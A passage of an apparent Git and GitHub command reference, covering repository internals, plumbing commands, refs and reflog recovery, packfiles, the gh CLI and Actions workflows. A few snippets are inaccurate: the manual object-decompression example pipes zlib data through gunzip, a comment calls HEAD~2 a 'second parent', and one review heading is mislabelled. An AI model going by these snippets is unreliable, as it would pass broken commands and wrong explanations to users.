git reflog expire --expire=30.days.ago --all

# Remove old objects
git prune --expire=30.days.ago

# Search for text in repository
git grep "pattern"

# Search with line numbers
git grep -n "pattern"

# Search for whole word
git grep -w "pattern"

# Search case-insensitively
git grep -i "pattern"

# Search in specific commit
git grep "pattern" <commit>

# Search with context
git grep -C 2 "pattern"

# Show file names only
git grep -l "pattern"

# Count matches per file
git grep -c "pattern"

# Search with AND condition
git grep -e "pattern1" --and -e "pattern2"

# Search with OR condition
git grep -e "pattern1" --or -e "pattern2"

# Search commit messages
git log --grep="pattern"

# Search commit content
git log -S "code"

# Search with pickaxe (show diff)
git log -G "regex"

# Search author
git log --author="name"

# Search committer
git log --committer="name"

# Show help for command
git help <command>
git <command> --help

# Show quick help
git <command> -h

# Show all commands
git help -a

# Show guides
git help -g

# Show config options
git help config

.git/
├── HEAD              # Points to current branch
├── config            # Repository-specific configuration
├── description       # Repository description (for GitWeb)
├── index             # Staging area (binary file)
├── hooks/            # Client and server-side hook scripts
├── info/             # Global exclude file and refs
│   └── exclude       # gitignore patterns not in .gitignore
├── objects/          # All content: commits, trees, blobs, tags
│   ├── pack/         # Packfiles for efficient storage
│   └── info/         # Object info and packs
├── refs/             # References (branches and tags)
│   ├── heads/        # Local branches
│   ├── remotes/      # Remote-tracking branches
│   └── tags/         # Tags
├── logs/             # Reflog information
│   ├── HEAD          # HEAD history
│   └── refs/         # Branch history
└── packed-refs       # Packed references for performance

# Navigate to .git
cd .git

# View HEAD (current branch pointer)
cat HEAD
# Output: ref: refs/heads/main

# View current branch
cat refs/heads/main
# Output: a3f2b1c... (commit SHA-1)

# View remote branch
cat refs/remotes/origin/main

# List all objects
find objects/ -type f

# Example: Object a3f2b1c4...
# Stored at: .git/objects/a3/f2b1c4...

# Create a blob manually (plumbing)
echo "Hello, Git!" | git hash-object -w --stdin
# Output: 8ab686eafeb1f44702738c8b0f24f2567c36da6d

# -w = write to object database
# --stdin = read from standard input

# View blob content
git cat-file -p 8ab686eafeb1f44702738c8b0f24f2567c36da6d
# Output: Hello, Git!

# Check object type
git cat-file -t 8ab686ea
# Output: blob

# View object size
git cat-file -s 8ab686ea
# Output: 12

# Create a file
echo "Git internals are fascinating" > test.txt

# Hash and store the file
git hash-object -w test.txt
# Output: 2c8b4e3b7c1a9f...

# The blob is now in .git/objects/
# File content is stored, but filename is NOT

# View a tree object
git cat-file -p main^{tree}
# Output:
# 100644 blob a3f2b1c...    README.md
# 100644 blob 7e4d3a2...    index.js
# 040000 tree 9c1f5b8...    src

# Tree entries format:
# <mode> <type> <sha-1> <filename>

# Create a tree from index
git write-tree
# Output: 9c1f5b8a... (tree SHA-1)

# Add files to index first
git update-index --add --cacheinfo 100644 \
  a3f2b1c4... README.md

git update-index --add --cacheinfo 100644 \
  7e4d3a2b... index.js

# Write tree from current index
git write-tree

# List tree contents recursively
git ls-tree -r -t main^{tree}
# -r = recursive
# -t = show trees as well

# Pretty print tree structure
git ls-tree --abbrev main^{tree}

# View commit object
git cat-file -p HEAD
# Output:
# tree 9c1f5b8a...
# parent a3f2b1c4...
# author John Doe <john@example.com> 1234567890 -0500
# committer John Doe <john@example.com> 1234567890 -0500
#
# Commit message here

# Create a commit (plumbing)
echo "Initial commit" | git commit-tree 9c1f5b8a
# Output: b4e3c2d1... (commit SHA-1)

# Create commit with parent
echo "Second commit" | git commit-tree 7a2b3c4d -p b4e3c2d1

# Update branch to point to new commit
git update-ref refs/heads/main b4e3c2d1

# Create annotated tag
git tag -a v1.0 -m "Version 1.0"

# View tag object
git cat-file -p v1.0
# Output:
# object a3f2b1c4...
# type commit
# tag v1.0
# tagger John Doe <john@example.com> 1234567890 -0500
#
# Version 1.0

# Lightweight tag (just a ref)
git tag v1.0-light
cat .git/refs/tags/v1.0-light
# Output: a3f2b1c4... (points directly to commit)

# Annotated tag (object)
git tag -a v1.0 -m "Release"
cat .git/refs/tags/v1.0
# Output: b7e8f3a... (points to tag object)

# Git computes SHA-1 of:
# "blob <size>\0<content>"

# Example calculation
content="Hello, Git!"
size=${#content}
(printf "blob %s\0" $size; echo -n "$content") | sha1sum
# Output: 8ab686eafeb1f44702738c8b0f24f2567c36da6d

# This matches what git hash-object produces
echo "Hello, Git!" | git hash-object --stdin

# Example: Two files with identical content
echo "Same content" > file1.txt
echo "Same content" > file2.txt

# Both produce same blob
git hash-object file1.txt  # abc123...
git hash-object file2.txt  # abc123... (identical!)

# Git stores content only once

┌─────────────────┐    git add    ┌─────────────────┐   git commit   ┌─────────────────┐
│  Working Dir    │──────────────→│  Staging Area   │───────────────→│   Repository    │
│   (modified)    │               │    (staged)     │                │   (committed)   │
└─────────────────┘               └─────────────────┘                └─────────────────┘
        ↑                                                                     │
        └─────────────────────────────── git checkout ────────────────────────┘

# File lifecycle diagram
Untracked ──add──→ Staged ──commit──→ Unmodified
                      ↑                    │
                      │                    │ edit
                      │                    ↓
                      └────────────────Modified

# View index contents
git ls-files --stage
# Output:
# 100644 a3f2b1c... 0    README.md
# 100644 7e4d3a2... 0    src/index.js
# 100644 9f8e7d6... 0    package.json

# Format: <mode> <sha-1> <stage> <filename>
# stage: 0 = normal, 1-3 = conflict resolution stages

# During merge conflict
git ls-files --stage
# 100644 a1b2c3... 1    conflicted.txt  (base)
# 100644 d4e5f6... 2    conflicted.txt  (ours)
# 100644 g7h8i9... 3    conflicted.txt  (theirs)

# Add file to index
git update-index --add --cacheinfo 100644 a3f2b1c README.md

# Remove from index (keep in working dir)
git update-index --force-remove README.md

# Refresh index (update stat info)
git update-index --refresh

# Show index and working tree differences
git diff-files
# Shows files modified in working dir

# Show index and repository differences
git diff-index --cached HEAD
# Shows staged changes

# When you run: git add file.txt

# 1. Git computes SHA-1 of file content
hash=$(git hash-object -w file.txt)

# 2. Stores blob in .git/objects/
# (Already done by -w flag above)

# 3. Updates index with new hash
git update-index --add --cacheinfo 100644 $hash file.txt

# This is what git add does behind the scenes!

# View a ref (just a file with commit SHA-1)
cat .git/refs/heads/main
# Output: a3f2b1c4d5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s0

# All refs are just text files!

# View HEAD
cat .git/HEAD
# Output: ref: refs/heads/main

# HEAD points to a branch, which points to a commit
cat .git/refs/heads/main
# Output: a3f2b1c...

HEAD → refs/heads/main → commit a3f2b1c

HEAD → commit a3f2b1c (no branch)

# Checkout specific commit
git checkout a3f2b1c
# Warning: You are in 'detached HEAD' state

# HEAD now points directly to commit
cat .git/HEAD
# Output: a3f2b1c... (no longer "ref: refs/heads/...")

# Any commits made here are "orphaned" unless you create a branch
git switch -c new-branch  # Attach HEAD to new branch

# HEAD is a symbolic ref
git symbolic-ref HEAD
# Output: refs/heads/main

# Change HEAD to point to different branch
git symbolic-ref HEAD refs/heads/develop
# Now on develop branch (without checking out files)

# Read the ref HEAD points to
git symbolic-ref HEAD
git rev-parse HEAD  # Get the commit SHA-1

# ORIG_HEAD is set by commands that move HEAD
git reset --hard HEAD~1  # ORIG_HEAD now points to previous HEAD

# Undo the reset
git reset --hard ORIG_HEAD

# MERGE_HEAD during merge
git merge feature-branch
# .git/MERGE_HEAD exists during merge conflict
cat .git/MERGE_HEAD  # Shows commit being merged

# Create a branch (low-level)
git update-ref refs/heads/new-branch a3f2b1c

# This is what git branch does!
# Equivalent to:
echo "a3f2b1c..." > .git/refs/heads/new-branch

# Delete a ref
git update-ref -d refs/heads/old-branch

# List all refs
git for-each-ref
# Output:
# a3f2b1c... commit refs/heads/main
# b4e3c2d... commit refs/heads/feature
# 7a2b3c4... commit refs/remotes/origin/main
# 9f8e7d6... tag    refs/tags/v1.0

# Format output
git for-each-ref --format='%(refname:short) %(objecttype) %(objectname:short)'

# View packed refs
cat .git/packed-refs
# Output:
# # pack-refs with: peeled fully-peeled sorted
# a3f2b1c... refs/heads/main
# b4e3c2d... refs/remotes/origin/main
# 7a2b3c4... refs/tags/v1.0
# ^9f8e7d6... (peeled tag - points to commit, not tag object)

# Pack refs manually
git pack-refs --all --prune

# Loose refs take precedence over packed refs

# cat-file: View object content
git cat-file -t a3f2b1c     # Type (blob, tree, commit, tag)
git cat-file -s a3f2b1c     # Size
git cat-file -p a3f2b1c     # Pretty-print content
git cat-file blob a3f2b1c   # View blob content

# rev-parse: Parse revisions
git rev-parse HEAD          # Full SHA-1 of HEAD
git rev-parse --short HEAD  # Short SHA-1
git rev-parse main          # Resolve branch to commit
git rev-parse HEAD~3        # Three commits before HEAD

# ls-tree: List tree contents
git ls-tree HEAD            # Root tree
git ls-tree -r HEAD         # Recursive
git ls-tree HEAD src/       # Specific directory

# hash-object: Create blob
echo "content" | git hash-object -w --stdin
git hash-object -w file.txt

# mktree: Create tree from stdin
# Format: <mode> SP <type> SP <sha1> TAB <filename>
cat | git mktree << EOF
100644 blob a3f2b1c... file1.txt
100644 blob b4e3c2d... file2.txt
040000 tree 7a2b3c4... subdir
EOF

# commit-tree: Create commit
echo "Commit message" | git commit-tree 9c1f5b8 -p a3f2b1c

# write-tree: Create tree from index
git write-tree

# update-ref: Create/update references
git update-ref refs/heads/test a3f2b1c
git update-ref -d refs/heads/test  # Delete

# symbolic-ref: Manage symbolic refs
git symbolic-ref HEAD refs/heads/main

# for-each-ref: Iterate over refs
git for-each-ref refs/heads/
git for-each-ref --format='%(refname)' refs/tags/

# update-index: Modify index
git update-index --add --cacheinfo 100644 a3f2b1c file.txt
git update-index --remove file.txt
git update-index --refresh

# ls-files: Show index contents
git ls-files                  # All tracked files
git ls-files --stage          # With hash and mode
git ls-files --deleted        # Deleted in working dir
git ls-files --modified       # Modified in working dir
git ls-files --others         # Untracked files

# read-tree: Read tree into index
git read-tree HEAD            # Reset index to HEAD
git read-tree --prefix=sub/ HEAD  # Read into subdirectory

# diff-tree: Compare trees
git diff-tree HEAD HEAD~1     # Compare commits
git diff-tree -r HEAD HEAD~1  # Recursive

# diff-index: Compare index
git diff-index HEAD           # Index vs HEAD
git diff-index --cached HEAD  # Staged changes

# diff-files: Compare working dir
git diff-files                # Working dir vs index

#!/bin/bash
# add.sh - Simplified git add implementation

file=$1

# 1. Hash and store file content
hash=$(git hash-object -w "$file")

# 2. Update index
git update-index --add --cacheinfo 100644 "$hash" "$file"

echo "Added $file (hash: $hash)"

#!/bin/bash
# commit.sh - Simplified git commit implementation

message=$1

# 1. Create tree from current index
tree=$(git write-tree)

# 2. Get parent commit
parent=$(git rev-parse HEAD)

# 3. Create commit object
commit=$(echo "$message" | git commit-tree "$tree" -p "$parent")

# 4. Update branch ref
git update-ref refs/heads/$(git rev-parse --abbrev-ref HEAD) "$commit"

echo "Created commit $commit"

# Parent references
HEAD~1      # First parent (same as HEAD^)
HEAD~2      # Second parent (grandparent)
HEAD~3      # Third parent (great-grandparent)

# Multiple parents (merge commits)
HEAD^1      # First parent
HEAD^2      # Second parent (merged branch)

# Combining
HEAD~2^2    # Second parent of grandparent

# Merge commit example
    A
   / \
  B   C
  |
  D

# A~1 = B (first parent)
# A^1 = B (first parent)
# A^2 = C (second parent)
# A~2 = D (grandparent via first parent)

# Double dot: Commits in B not in A
git log A..B
# Example: main..feature (commits in feature not in main)

# Triple dot: Commits in A or B, but not both
git log A...B
# Example: main...feature (symmetric difference)

# All ancestors of B excluding A
git log ^A B
git log A..B  # Equivalent

# Multiple exclusions
git log ^A ^B C
# Commits in C but not in A or B

# View commits in feature branch not in main
git log main..feature

# View commits that will be pushed
git log origin/main..HEAD

# View commits in current branch since branching from main
git log main..HEAD

# Show what changed between two branches
git log --oneline main...feature

# Find merge base
git merge-base main feature

# View refspec
git config --get-regexp remote.origin
# Output:
# remote.origin.url https://github.com/user/repo.git
# remote.origin.fetch +refs/heads/*:refs/remotes/origin/*

# Refspec format:
# [+]<source>:<destination>
# + = force update

# Custom refspec examples

# Fetch only main branch
git config remote.origin.fetch refs/heads/main:refs/remotes/origin/main

# Fetch all branches (default)
git config remote.origin.fetch '+refs/heads/*:refs/remotes/origin/*'

# Push branch to different name
git push origin local-branch:remote-branch

# Push to different ref
git push origin HEAD:refs/heads/new-branch

# Delete remote branch
git push origin :branch-to-delete
# Or
git push origin --delete branch-to-delete

# Fetch pull request (GitHub)
git fetch origin pull/123/head:pr-123

# View HEAD reflog
git reflog
# Output:
# a3f2b1c (HEAD -> main) HEAD@{0}: commit: Add feature
# b4e3c2d HEAD@{1}: commit: Fix bug
# 7a2b3c4 HEAD@{2}: checkout: moving from dev to main

# Reflog for specific ref
git reflog show main
git reflog show origin/main

# @{n} - nth prior value
HEAD@{0}    # Current HEAD
HEAD@{1}    # Previous HEAD
HEAD@{2}    # Two steps back

# @{time} - Value at specific time
HEAD@{5.minutes.ago}
HEAD@{yesterday}
HEAD@{2.days.ago}
HEAD@{2023-01-01}

# Examples
git show HEAD@{5}             # Show 5th prior HEAD
git diff HEAD@{0} HEAD@{1}    # Compare current vs previous
git log -g HEAD               # Show reflog as log

# Scenario: Accidentally reset hard
git reset --hard HEAD~3  # Oops!

# Find commit before reset
git reflog
# a3f2b1c HEAD@{0}: reset: moving to HEAD~3
# b4e3c2d HEAD@{1}: commit: Lost commit

# Recover
git reset --hard HEAD@{1}
# Or
git reset --hard b4e3c2d

# Recover deleted branch
git reflog --all  # Show all refs
git branch recovered-branch a3f2b1c

# Before rebase
git log --oneline
# a3f2b1c (HEAD -> feature) Feature work
# b4e3c2d More feature work
# 7a2b3c4 (main) Main work

# Bad interactive rebase (dropped commits)
git rebase -i main
# Accidentally deleted commits!

# Find commits in reflog
git reflog
# 9f8e7d6 HEAD@{0}: rebase -i: finish
# a3f2b1c HEAD@{1}: rebase -i: start

# Reset to before rebase
git reset --hard HEAD@{1}

# Reflogs are temporary (default: 90 days)
# Unreachable commits expire after 30 days

# View reflog expiration config
git config --get gc.reflogExpire        # Default: 90 days
git config --get gc.reflogExpireUnreachable  # Default: 30 days

# Manually expire reflog
git reflog expire --expire=now --all
git gc --prune=now

# Keep reflog forever (not recommended)
git config gc.reflogExpire never

# A branch is just a file containing a commit hash
cat .git/refs/heads/main
# Output: a3f2b1c4d5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s0

# That's it! Just 40 bytes (or less in packed-refs)

# Porcelain
git branch new-feature

# Plumbing equivalent
git update-ref refs/heads/new-feature HEAD

# Or even more manual
echo $(git rev-parse HEAD) > .git/refs/heads/new-feature

# Porcelain
git checkout main

# Plumbing steps:
# 1. Update HEAD
git symbolic-ref HEAD refs/heads/main

# 2. Update index and working directory
git read-tree --reset -u HEAD

# 3. That's it!

Before:
  main     feature
    ↓         ↓
A - B - C - D

After (git merge feature):
  main/feature
       ↓
A - B - C - D

# Fast-forward is just updating the ref
git update-ref refs/heads/main $(git rev-parse feature)

Before:
      C (main)
     /
A - B
     \
      D (feature)

After (git merge feature):
      C - M (main)
     /   /
A - B - D

# Three-way merge creates new commit with two parents
# Parents: current HEAD and merged branch

# Plumbing equivalent:
tree=$(git write-tree)  # From merge resolution
commit=$(echo "Merge message" | git commit-tree $tree \
  -p $(git rev-parse HEAD) \
  -p $(git rev-parse feature))
git update-ref refs/heads/main $commit

# Remote-tracking branches are refs under refs/remotes/
ls -la .git/refs/remotes/origin/
# main
# develop
# feature-123

# They're just refs, like local branches
cat .git/refs/remotes/origin/main
# b4e3c2d1... (commit hash)

# Porcelain
git fetch origin

# Plumbing steps:
# 1. Connect to remote
# 2. Receive pack of new objects
# 3. Store objects in .git/objects/
# 4. Update refs/remotes/origin/* refs

# Fetch specific branch
git fetch origin main:refs/remotes/origin/main

# git pull = git fetch + git merge

# Equivalent to:
git fetch origin
git merge origin/main

# Or with rebase:
git fetch origin
git rebase origin/main

# Porcelain
git push origin main

# Plumbing steps:
# 1. Check if fast-forward possible
# 2. Pack objects not on remote
# 3. Send pack to remote
# 4. Remote updates refs/heads/main

# Push creates commits on remote, then updates ref
# Equivalent refspec:
git push origin refs/heads/main:refs/heads/main

# Set upstream branch
git branch --set-upstream-to=origin/main main

# This adds to .git/config:
# [branch "main"]
#     remote = origin
#     merge = refs/heads/main

# View tracking relationship
git branch -vv
# main  a3f2b1c [origin/main] Latest commit

# Remote tracking allows:
git pull   # Knows to pull from origin/main
git push   # Knows to push to origin/main

# Count objects
git count-objects -v
# Output:
# count: 150           # Loose objects
# size: 600            # KB
# in-pack: 3500        # Packed objects
# packs: 1             # Number of pack files
# size-pack: 1200      # KB in packs
# prune-packable: 0
# garbage: 0
# size-garbage: 0

# List pack files
ls -lh .git/objects/pack/
# pack-abc123.idx
# pack-abc123.pack

# .pack file: Contains compressed objects
# .idx file: Index for finding objects in pack

# Verify pack
git verify-pack -v .git/objects/pack/pack-*.idx
# Output:
# a3f2b1c blob   150 140 12
# b4e3c2d blob   200 185 152
# 7a2b3c4 commit 250 235 337
# ...
# non delta: 150 objects
# chain length = 10: 50 objects

# Example: Two similar files
# version1.txt: "Hello World"
# version2.txt: "Hello World!\nNew line"

# Git stores:
# - Full version2.txt (base)
# - Delta: version1 relative to version2

# Verify pack shows delta chains
git verify-pack -v .git/objects/pack/pack-*.idx | grep chain

# Manual garbage collection
git gc
# - Packs loose objects
# - Removes unreachable objects
# - Optimizes repository

# Aggressive GC (slow but thorough)
git gc --aggressive
# More thorough delta compression

# Prune unreachable objects
git prune
# Remove objects not reachable from any ref

# Prune everything older than 2 weeks
git prune --expire=2.weeks.ago

# Automatic GC
git config gc.auto 6700  # Auto-gc after 6700 loose objects
git config gc.autopacklimit 50  # Auto-gc after 50 pack files

# Create pack file from scratch
git repack -a -d -f
# -a = all objects
# -d = remove redundant packs
# -f = force

# Aggressive repacking
git repack -a -d -f --depth=250 --window=250

# Reduce repository size
git gc --aggressive --prune=now

# Clone with shallow history (for large repos)
git clone --depth 1 <url>
# Only most recent commit

Header (12 bytes):
- Signature: "DIRC" (DIrectory Cache)
- Version: 2, 3, or 4
- Number of entries

Entry (variable length):
- ctime/mtime metadata
- Device/inode
- Mode (file permissions)
- UID/GID
- File size
- SHA-1 (20 bytes)
- Flags (name length, stage)
- File name

Extensions:
- Tree cache
- Resolve undo
- etc.

# Dump index in human-readable format
git ls-files --stage --debug

# Find all objects
find .git/objects -type f

# Object file structure:
# - zlib compressed
# - Header: "<type> <size>\0"
# - Content

# Decompress object manually (example)
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | \
  cat - .git/objects/ab/cdef... | \
  gunzip

# Or use Git's plumbing
git cat-file -p abcdef

# Example: pre-commit hook using plumbing
# .git/hooks/pre-commit

#!/bin/bash
# Check for TODO comments in staged files

for file in $(git diff-index --cached --name-only HEAD); do
  if git cat-file -p :0:$file | grep -q "TODO"; then
    echo "Error: TODO found in $file"
    exit 1
  fi
done

# Check repository integrity
git fsck
# - Verifies object connectivity
# - Checks for corruption
# - Reports dangling/unreachable objects

# Full check
git fsck --full
# Output:
# Checking object directories: 100% (256/256), done.
# Checking objects: 100% (3456/3456), done.
# dangling commit abc123...

# Find large objects
git rev-list --objects --all | \
  git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' | \
  awk '/^blob/ {print substr($0,6)}' | \
  sort -nk2 | \
  tail -20

# Find when file was deleted
git log --all --full-history -- deleted-file.txt

# Using plumbing
git rev-list --all -- deleted-file.txt | while read commit; do
  if ! git ls-tree -r $commit | grep -q deleted-file.txt; then
    echo "Deleted in: $commit"
    break
  fi
done

# Get file from specific commit
commit="abc123"
file="path/to/file.txt"

# Find blob hash
blob=$(git ls-tree $commit $file | awk '{print $3}')

# Extract content
git cat-file blob $blob > recovered-file.txt

# Remove file from all commits (using plumbing concepts)
git filter-branch --tree-filter 'rm -f passwords.txt' HEAD

# Or with plumbing (manual approach for understanding):
git rev-list --all | while read commit; do
  # Get tree
  tree=$(git rev-parse $commit^{tree})

  # Create new tree without sensitive file
  # (Complex - requires manual tree manipulation)

  # Create new commit
  new_commit=$(git commit-tree ...)

  # Update refs
  git update-ref ...
done

# Porcelain
git checkout --orphan new-root

# Plumbing equivalent
# Create empty tree
empty_tree=$(git hash-object -t tree /dev/null)

# Create first commit
commit=$(echo "Initial" | git commit-tree $empty_tree)

# Create branch
git update-ref refs/heads/new-root $commit

# Switch to branch
git symbolic-ref HEAD refs/heads/new-root
git reset --hard

# Count commits per author
git rev-list --all --pretty=format:'%an' | \
  grep -v '^commit' | \
  sort | uniq -c | sort -nr

# Find largest commits
git rev-list --objects --all | \
  git cat-file --batch-check='%(objecttype) %(objectsize) %(rest)' | \
  grep '^commit' | \
  sort -k2 -n | \
  tail -10

# List all files ever committed
git rev-list --objects --all | \
  grep -v '^commit' | \
  cut -d' ' -f2- | \
  sort -u

# See what Git is doing
GIT_TRACE=1 git commit -m "Test"
# Output shows underlying commands

# Trace pack operations
GIT_TRACE_PACK_ACCESS=1 git fetch

# Trace performance
GIT_TRACE_PERFORMANCE=1 git status

# Find object by content
echo "search content" | git hash-object --stdin

# Check if object exists
git cat-file -e abc123 && echo "exists"

# Batch check objects
echo -e "abc123\ndef456\n789abc" | \
  git cat-file --batch-check

# Follow rename history
git log --follow --all -- file.txt

# Generate SSH key
ssh-keygen -t ed25519 -C "your.email@example.com"

# Start SSH agent
eval "$(ssh-agent -s)"

# Add SSH key to agent
ssh-add ~/.ssh/id_ed25519

# Copy public key to clipboard
cat ~/.ssh/id_ed25519.pub
# Then paste in GitHub Settings → SSH and GPG keys → New SSH key

# Using SSH (recommended)
git clone git@github.com:<username>/<repository>.git

# Using HTTPS
git clone https://github.com/<username>/<repository>.git

# Create new branch
git switch -c <new_branch>

# Push branch to remote
git push -u origin <new_branch>

# 1. Create and switch to feature branch
git checkout -b feature/new-feature

# 2. Make changes and commit
git add .
git commit -m "feat: Add new feature"

# 3. Push branch to GitHub
git push -u origin feature/new-feature

# 4. Open browser and create PR
# Navigate to repository → Pull requests → New pull request
# Select your branch → Create pull request

# Or use GitHub CLI
gh pr create --title "Add new feature" --body "Description of changes"

# After creating PR, make additional commits
git add .
git commit -m "Address feedback"
git push origin feature/new-feature

# Update PR with latest main
git checkout main
git pull origin main
git checkout feature/new-feature
git rebase main
git push --force-with-lease origin feature/new-feature

# Request review
gh pr review <pr-number> --request-changes --body "Please fix..."
gh pr review <pr-number> --approve --body "LGTM!"

# Check out PR locally
gh pr checkout <pr-number>
# Or manually:
git fetch origin pull/<pr-number>/head:pr-<pr-number>
git checkout pr-<pr-number>

# Test changes
npm test
npm run build

# Add review comments
gh pr review <pr-number> --comment --body "Looks good!"

# Approve PR
gh pr review <pr-number> --approve

# Request changes
gh pr review <pr-number> --request-changes --body "Please address..."

# Merge via GitHub CLI
gh pr merge <pr-number> --merge
gh pr merge <pr-number> --squash
gh pr merge <pr-number> --rebase

# Via web interface:
# - Merge commit: Preserves all commits
# - Squash and merge: Combines all commits into one
# - Rebase and merge: Adds commits to base branch

# After merging, cleanup
git checkout main
git pull origin main
git branch -d feature/new-feature

# Create issue via CLI
gh issue create --title "Bug: Login fails" --body "Description of bug"

# Create with labels
gh issue create --title "Feature request" --label "enhancement"

# List issues
gh issue list
gh issue list --label "bug"
gh issue list --assignee "@me"

# View issue
gh issue view <issue-number>

# Assign issue
gh issue edit <issue-number> --add-assignee "@me"

# Add labels
gh issue edit <issue-number> --add-label "bug,high-priority"

# Close issue
gh issue close <issue-number>

# Reopen issue
gh issue reopen <issue-number>

# Link PR to issue (in commit or PR description)
git commit -m "Fix login bug

Fixes #123"
# Or "Closes #123", "Resolves #123"

---
name: Bug Report
about: Create a report to help us improve
title: '[BUG] '
labels: bug
assignees: ''
---

**Describe the bug**
A clear and concise description of what the bug is.

**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. See error

**Expected behavior**
A clear description of what you expected to happen.

**Screenshots**
If applicable, add screenshots.

**Environment:**
- OS: [e.g. Ubuntu 22.04]
- Browser: [e.g. Chrome 120]
- Version: [e.g. v1.2.3]

name: CI

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3

    - name: Setup Node.js
      uses: actions/setup-node@v3
      with:
        node-version: '18'

    - name: Install dependencies
      run: npm ci

    - name: Run tests
      run: npm test

    - name: Run linter
      run: npm run lint

    - name: Build
      run: npm run build

# Enable workflow permissions
# Repository Settings → Actions → General → Workflow permissions
# Select: Read and write permissions

# Or in workflow file
permissions:
  contents: write
  pull-requests: write
  issues: write

name: Deploy

on:
  push:
    branches: [ main ]
  release:
    types: [ published ]

jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3

    - name: Build
      run: npm run build

    - name: Deploy to GitHub Pages
      uses: peaceiris/actions-gh-pages@v3
      with:
        github_token: ${{ secrets.GITHUB_TOKEN }}
        publish_dir: ./build
        cname: yourdomain.com

# Test on multiple Node versions
strategy:
  matrix:
    node-version: [16, 18, 20]

# Cache dependencies
- name: Cache node modules
  uses: actions/cache@v3
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}

# Create release
- name: Create Release
  uses: actions/create-release@v1
  env:
    GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
  with:
    tag_name: ${{ github.ref }}
    release_name: Release ${{ github.ref }}

# Comment on PR
- name: Comment on PR
  uses: actions/github-script@v6
  with:
    script: |
      github.rest.issues.createComment({
        issue_number: context.issue.number,
        owner: context.repo.owner,
        repo: context.repo.repo,
        body: 'Build successful! ✅'
      })

# 1. Create gh-pages branch
git checkout --orphan gh-pages
git rm -rf .
echo "<!DOCTYPE html><html><body><h1>Hello World</h1></body></html>" > index.html
git add index.html
git commit -m "Initial GitHub Pages commit"
git push origin gh-pages

# 2. Enable in repository settings
# Settings → Pages → Source → Select branch: gh-pages, folder: /(root)

# 3. Add custom domain (optional)
echo "yourdomain.com" > CNAME
git add CNAME
git commit -m "Add custom domain"
git push origin gh-pages

name: Deploy to GitHub Pages

on:
  push:
    branches: [ main ]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3

    - name: Setup Node.js
      uses: actions/setup-node@v3
      with:
        node-version: '18'

    - name: Build
      run: |
        npm ci
        npm run build

    - name: Deploy
      uses: peaceiris/actions-gh-pages@v3
      with:
        github_token: ${{ secrets.GITHUB_TOKEN }}
        publish_dir: ./build
        cname: yourdomain.com  # Optional

# macOS
brew install gh

# Linux (Debian/Ubuntu)
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null
sudo apt update
sudo apt install gh

# Authenticate
gh auth login

# Repository
gh repo create <name>
gh repo clone <repo>
gh repo view
gh repo fork

# Pull Requests
gh pr create
gh pr list
gh pr view <number>
gh pr checkout <number>
gh pr merge <number>
gh pr diff <number>
gh pr review <number>

# Issues
gh issue create
gh issue list
gh issue view <number>
gh issue close <number>

# Releases
gh release create v1.0.0
gh release list
gh release download v1.0.0

# Workflows
gh workflow list
gh workflow run <workflow>
gh run list
gh run view <run-id>

# Gists
gh gist create <file>
gh gist list

# 1. Fork repository on GitHub (click Fork button)

# 2. Clone your fork
gh repo fork <original-repo> --clone

# 3. Add upstream remote
git remote add upstream https://github.com/original-owner/repo.git

# 4. Create feature branch
git checkout -b feature/my-contribution

# 5. Make changes and commit
git add .
git commit -m "Add feature"

# 6. Keep fork updated
git fetch upstream
git checkout main
git merge upstream/main
git push origin main

# 7. Push feature branch
git push origin feature/my-contribution

# 8. Create pull request
gh pr create --base main --head feature/my-contribution

# As PR author:
# - Keep PRs small and focused
# - Write clear description
# - Link related issues
# - Respond to feedback promptly

# As reviewer:
# - Review promptly
# - Be constructive and specific
# - Test changes locally
# - Approve or request changes

# Request specific reviewers
gh pr create --reviewer @username1,@username2

# Check PR status
gh pr status

# View PR checks
gh pr checks <pr-number>

# Protect branches
# Repository Settings → Branches → Add branch protection rule
# - Require pull request reviews
# - Require status checks to pass
# - Require branches to be up to date
# - Include administrators

# Add collaborators
# Repository Settings → Collaborators → Add people

# Use code owners (.github/CODEOWNERS)
# Require approval from code owners
* @team-name
/docs/ @docs-team
*.js @frontend-team

# Create project
gh project create --title "My Project"

# Add issues to project
gh issue create --project "My Project"

# View project
gh project view <project-number>

# Create milestone
# Issues → Milestones → New milestone

# Assign issue to milestone
gh issue edit <number> --milestone "v1.0"

# View milestone progress
# Issues → Milestones

version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

# Enable in Settings → Security → Code security and analysis
# - Secret scanning
# - Secret scanning push protection

# Use secrets in workflows
steps:
  - name: Deploy
    env:
      API_KEY: ${{ secrets.API_KEY }}
    run: deploy.sh

# Create security advisory
# Security → Advisories → New draft security advisory

# Report vulnerability privately
# Contact repository maintainers through security tab

# Repository Settings → Webhooks → Add webhook
# Payload URL: https://your-server.com/webhook
# Content type: application/json
# Events: Push, Pull request, Issues, etc.

# Using curl
curl -H "Authorization: token YOUR_TOKEN" \
  https://api.github.com/user/repos

# Using gh CLI with API
gh api repos/<owner>/<repo>/pulls

gh api graphql -f query='
  query {
    repository(owner: "owner", name: "repo") {
      pullRequests(first: 10) {
        nodes {
          title
          number
        }
      }
    }
  }
'

# Create codespace
gh codespace create --repo <repo>

# List codespaces
gh codespace list

# Connect to codespace
gh codespace ssh

- name: Publish to GitHub Packages
  run: npm publish
  env:
    NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

# Enable in Settings → General → Features → Discussions

# Create discussion
gh api repos/<owner>/<repo>/discussions \
  -f title="Discussion title" \
